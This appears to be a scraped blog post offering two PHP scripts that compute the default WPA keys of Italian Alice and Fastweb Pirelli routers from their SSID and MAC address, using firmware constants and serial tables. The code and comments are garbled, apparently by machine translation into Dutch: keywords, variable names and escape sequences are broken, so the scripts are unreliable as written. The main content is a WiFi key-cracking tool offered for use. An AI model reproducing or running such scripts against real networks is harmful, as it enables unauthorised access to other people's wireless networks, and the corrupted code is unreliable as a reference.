Alice
/***************************************************************************
* Alice AGPF WPA Discovery *
* door evilsocket – evilsocket@gmail.com – http://www.evilsocket.net *
* based on *
* *
* Dit programma is vrije software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* de Free Software Foundation; ofwel versie 2 van de Licentie, or *
* (naar uw keuze) een latere versie. *
* *
* Dit programma wordt gedistribueerd in de hoop dat het nuttig zal zijn, *
* maar ZONDER ENIGE GARANTIE; without even the implied warranty of *
* VERKOOPBAARHEID of GESCHIKTHEID VOOR EEN BEPAALD DOEL. See the *
* GNU General Public License voor meer details. *
* *
* You should have received a copy of the GNU General Public License *
* samen met dit programma; indien niet, write to the *
* Free Software Foundation, Inc, *
* 59 Temple Place – Suite 330, Boston, MA 02111-1307, VS. *
***************************************************************************//*
* Tabella per il calcolo del seriale.
*
* De eerste cijfers SSID => ( SN1, op, Q )
*/
$SN_TABLE = array( '96′ => array( '69102′, 13, 96017051 ),
'93′ => array( '69101′, 13, 92398366 ),
'56′ => array( '67902′, 13, 54808800 ),
'55′ => array( '67904′, 8, 55164449 ),
'54′ => array( '67903′, 8, 52420689 ),
'48′ => array( '67903′, 8, 47896103 ),
'46′ => array( '67902′, 13, 39015145 ) );
/*
* Numeri magici da utilizzare per il calcolo dell’SHA256.
*/
$ALIS = “\x64 xC6 xDD XE3 xE5 x79 xB6 xD9 x86 X96 x8D x34 x45 XD2 x3B x15 XCA XAF x12 X84 x02 Xac x56 x00 X05 xCE x20 x75 x91 X3F XDC xE8″;
/*
* Tabella di conversione da hash a wpa.
*/
$CONV_TABLE = “0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv”.
“wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123″;
/*
* SSID della rete.
*/
$SSID = “Alice-96154825″;
/*
* MAC address del router.
*/
$MAC = “\x00 x23 x8E x01 x02 x03″;
/*
* Calcolo il seriale in base al SSID e alla tabella dei valori noti.
*/
$SN = SSID2SN($SSID);
/*
* Berekening SHA256( MagicN + SN + MAC )
*/
$hash = SHA256( $ALIS. $ CBS. $ MAC );
/*
* Converto la stringa dell’hash in un array di byte.
*/
$bytes = hash2bytes($hash);
/*
* Ik vind de WPA met de eerste 24 byte dell’hash come indici della tabella di covnersione.
*/
$wpa = “”;
voor( $i = 0; $in < 24; $i ){ $wpa .= $ CONV_TABLE[ $bytes[$in] ]; } echo “WPA : $wpa n”; /* * Functie om de seriële router sporen van zijn SSID, en het gebruik van * tabellen van de bekende waarden. */ functie SSID2SN( $ssid ){ global $ SN_TABLE; /* * Haal de integer dall'SSID en neem de eerste twee cijfers * om te controleren of de router is in de tabel. */ preg_match_all( “/Alice ^ -([0-9]+)/”, $ssid, $m ); $ssidn = $ m[1][0]; $id = substr( $ssidn, 0, 2 ); als( isset( $SN_TABLE[$id] ) ){ /* * Ok, de router is opgenomen in tabel, haal het eerste deel van de seriële * constanten k en Q om de laatste vergelijking te gebruiken. */ $SN1 = $ SN_TABLE[$id][0]; $k = $ SN_TABLE[$id][1]; $Q = $ SN_TABLE[$id][2]; /* * Het tweede deel van het serienummer gelijk is aan : * (SSID – Q) / op */ $sn2 = ((int)$ssidn – $Q) / $op; /* * Geeft de gehele serie. */ return $ SN1. 'X'. sprintf( “%07met”, $sn2 ); } /* * Router niet opgenomen in tabel. */ anders{ de( “La serie ‘Alice-$id******’ niet aanwezig is in de tabel en wordt niet ondersteund. n” ); } } /* * Een functie om een hash te berekenen SHA256. */ functie SHA256( $zin ){ terug BIN2HEX( mhash( MHASH_SHA256, $zin ) ); } /* * Functie om een hash te zetten in een array van bytes integer. */ functie hash2bytes( $hash ){ preg_match_all( “/[a-f0-9]{2}/in”, $hash, $hash_bytes ); $bytes = array(); foreach( $hash_bytes[0] als $ byte ){ $bytes[] = Hexdec($byte); } return $ bytes; } ?>
Fastweb
/***************************************************************************
* FastWeb Pirelli WPA Discovery *
* door evilsocket – evilsocket@gmail.com – http://www.evilsocket.net *
* *
* Dit programma is vrije software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* de Free Software Foundation; ofwel versie 2 van de Licentie, or *
* (naar uw keuze) een latere versie. *
* *
* Dit programma wordt gedistribueerd in de hoop dat het nuttig zal zijn, *
* maar ZONDER ENIGE GARANTIE; without even the implied warranty of *
* VERKOOPBAARHEID of GESCHIKTHEID VOOR EEN BEPAALD DOEL. See the *
* GNU General Public License voor meer details. *
* *
* You should have received a copy of the GNU General Public License *
* samen met dit programma; indien niet, write to the *
* Free Software Foundation, Inc, *
* 59 Temple Place – Suite 330, Boston, MA 02111-1307, VS. *
***************************************************************************//*
* SSID di partenza.
*/
$ssid = “Fastweb-1-00193EA1B2C3″;
/*
* 20 byte costanti cablati nel firmware dei Pirelli Fastweb.
*/
$seq_20 = “\x22 x33 x11 x34 x02 x81 XFA x22 x11 x41 x68 x11 x12 x01 X05 x22 x71 x42 x10 x66″;
/*
* Prelevo la parte finale del SSID.
*/
$sn = split( ‘-’, $ssid );
$sn = $ sn[2];
/*
* De kloof in groepjes van twee tekens, het vormen van een array
* van 6 rappresentazioni esadecimali di byte.
*/
preg_match_all( “/[a-f0-9]{2}/in”, $sn, $sn_bytes );
$sn_bytes = $ sn_bytes[0];
/*
* Inizializzo una stringa con il valore intero di questi byte.
*/
$str = “”;
voor( $i = 0; $in < 6; $i ){
$str .= chr( hexdec( $sn_bytes[$in] ) );
}
/*
* Voeg aan te scherpen 20 byte “Magic”.
*/
$str .= $ seq_20;
/*
* Ontvangsten bytes MD5 hash van de string
*/
preg_match_all( “/[a-f0-9]{2}/in”, md5($st), $md5_bytes );
$md5_bytes = $ md5_bytes[0];
$lang = “”;
/*
* Converteert bytes in binaire sequenties van 8 bit.
*/
foreach( $md5_bytes als $ byte ){
$lange .= sprintf( “%08met”, decbin( hexdec($byte) ) );
}
/*
* Gesplitst in 5 groepen 5 bits per stuk en, qual'ora de integer
* een groep groter is dan 0x0a, voeg 0×57.
*/
$hex_5 = array();
voor( $i = 0; $in < 25; $i = 5 ){ $n = bindec( substr( $lange, $in, 5 ) ); $hex_5[] = $ N >= 0x0a ? $n + 0×57 : $n;
}
/*
* Compongo la chiave.
*/
$wpa = “”;
foreach( $hex_5 als $ hex ){
$wpa .= sprintf( “%02x”, $hex );
}print “WPA : $wpa n”;
?>
The post Download Script Crack Alice & Fastweb WPA appeared first on .
